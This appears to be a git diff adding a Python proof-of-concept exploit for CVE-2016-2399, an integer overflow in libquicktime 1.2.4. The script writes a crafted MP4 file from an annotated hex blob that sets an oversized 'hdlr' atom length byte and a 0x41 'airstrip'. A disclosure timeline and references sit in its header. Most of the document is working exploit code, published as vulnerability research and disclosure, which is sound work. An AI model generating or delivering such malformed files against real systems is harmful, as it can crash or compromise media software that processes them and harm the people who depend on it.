|
| 1 | +#!/usr/bin/env python |
| 2 | +# |
| 3 | +### |
| 4 | +# - 7 February 2016 - |
| 5 | +# My last bug hunting session (*for fun and no-profit*) |
| 6 | +# has been dedicated to libquicktime |
| 7 | +### |
| 8 | +# |
| 9 | +# Author: Marco Romano - @nemux_ http://www.nemux.org |
| 10 | +# libquicktime 1.2.4 Integer Overflow |
| 11 | +# |
| 12 | +# Product Page: http://libquicktime.sourceforge.net/ |
| 13 | +# Description: 'hdlr', 'stsd', 'ftab' MP4 Atoms Integer Overflow |
| 14 | +# Affected products: All products using libquicktime version <= 1.2.4 |
| 15 | +# |
| 16 | +# CVE-ID: CVE-2016-2399 |
| 17 | +# |
| 18 | +# Disclosure part: http://www.nemux.org |
| 19 | +# |
| 20 | +######## |
| 21 | +####### Timeline |
| 22 | +# |
| 23 | +# 07 Feb 2016 Bug discovered |
| 24 | +# 17 Feb 2016 Mitre.org contacted |
| 25 | +# 17 Feb 2016 Disclosed to the project's maintainer |
| 26 | +# 23 Feb 2016 No response from the maintainer |
| 27 | +# 23 Feb 2016 Publicly disclosed |
| 28 | +# |
| 29 | +######## |
| 30 | +####### References |
| 31 | +# |
| 32 | +# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2399 |
| 33 | +# http://libquicktime.sourceforge.net/ |
| 34 | +# http://www.linuxfromscratch.org/blfs/view/svn/multimedia/libquicktime.html |
| 35 | +# https://en.wikipedia.org/wiki/QuickTime\_File\_Format |
| 36 | +# |
| 37 | +####### |
| 38 | +# |
| 39 | +# DISCLAIMER: It's just a PoC... it will crash something |
| 40 | +# |
| 41 | +#### |
| 42 | +import sys |
| 43 | +import struct |
| 44 | +import binascii |
| 45 | + |
| 46 | +""" |
| 47 | +There needs to be an mp4 file with these nested atoms to trigger the bug: |
| 48 | +moov -> trak -> mdia -> hdlr |
| 49 | +""" |
| 50 | +hax0r_mp4 = ("0000001C667479704141414100000300336770346D70343133677036000000086D646174000001B1" |
| 51 | + "6D6F6F76" #### moov atom |
| 52 | + "0000006C6D76686400000000CC1E6D6ECC1E6D6E000003E80000030200010000010000000000000000000000" |
| 53 | + "000100000000000000000000000000000001000000000000000000000000000040000000000000000000000000000000" |
| 54 | + "00000000000000000000000000000003000000FD756474610000001263707274000000000000FEFF0000000000126175" |
| 55 | + "7468000000000000FEFF0000000000127469746C000000000000FEFF00000000001264736370000000000000FEFF0000" |
| 56 | + "0000001270657266000000000000FEFF000000000012676E7265000000000000FEFF00000000001A72746E6700000000" |
| 57 | + "00000000000000000000FEFF000000000018636C7366000000000000000000000000FEFF00000000000F6B7977640000" |
| 58 | + "000055C400000000276C6F6369000000000000FEFF000000000000000000000000000000FEFF0000FEFF0000000000FF" |
| 59 | + "616C626D000000000000FEFF0000010000000E79727263000000000000000002E4" |
| 60 | + "7472616B" #### trak atom |
| 61 | + "0000005C746B686400000001CC1E6D6ECC1E6D6E00000001000000000000030000000000000000000000000001000000" |
| 62 | + "000100000000000000000000000000000001000000000000000000000000000040000000000000000000000000000040" |
| 63 | + "6D646961" #### mdia atom |
| 64 | + "000000206D64686400000000CC1E6D6ECC1E6D6E00003E800000300000000000000000" |
| 65 | + "4E" #### hdlr atom length |
| 66 | + "68646C72" #### hdlr atom |
| 67 | + "0000000000" |
| 68 | + "4141414141414141" #### our airstrip :) |
| 69 | + "0000000000000000000000" |
| 70 | + "EC" #### 236 > 127 <-- overflow here and a change in signedness too |
| 71 | + "616161000000FF736F756E000000000000000000000000536F756E6448616E646C6572000000012B6D696E6600000010") |
| 72 | + |
| 73 | +hax0r_mp4 = bytearray(binascii.unhexlify(hax0r_mp4)) |
| 74 | + |
| 75 | +def createPoC(): |
| 76 | + try: |
| 77 | + with open("./nemux.mp4","wb") as output: |
| 78 | + output.write(hax0r_mp4) |
| 79 | + print "[*] The PoC is done!" |
| 80 | + except Exception,e: |
| 81 | + print str(e) |
| 82 | + print "[*] mmmm!" |
| 83 | + |
| 84 | +def usage(): |
| 85 | + print "\nUsage? Run it -> " + sys.argv[0] |
| 86 | + print "this poc creates an mp4 file named nemux.mp4" |
| 87 | + print "--------------------------------------------" |
| 88 | + print "This dummy help? " + sys.argv[0] + " help\n" |
| 89 | + sys.exit() |
| 90 | + |
| 91 | +if __name__ == "__main__": |
| 92 | + try: |
| 93 | + if len(sys.argv) == 2: |
| 94 | + usage() |
| 95 | + else: |
| 96 | + print "\nlibquicktime <= 1.2.4 Integer Overflow CVE-2016-2399\n" |
| 97 | + print "Author: Marco Romano - @nemux_ - http://www.nemux.org\n\n"; |
| 98 | + createPoC(); |
| 99 | + except Exception,e: |
| 100 | + print str(e) |
| 101 | + print "Ok... Something went wrong..." |
| 102 | + sys.exit() |
| 103 | + |
| 104 | + |
| 105 | + |
0 commit comments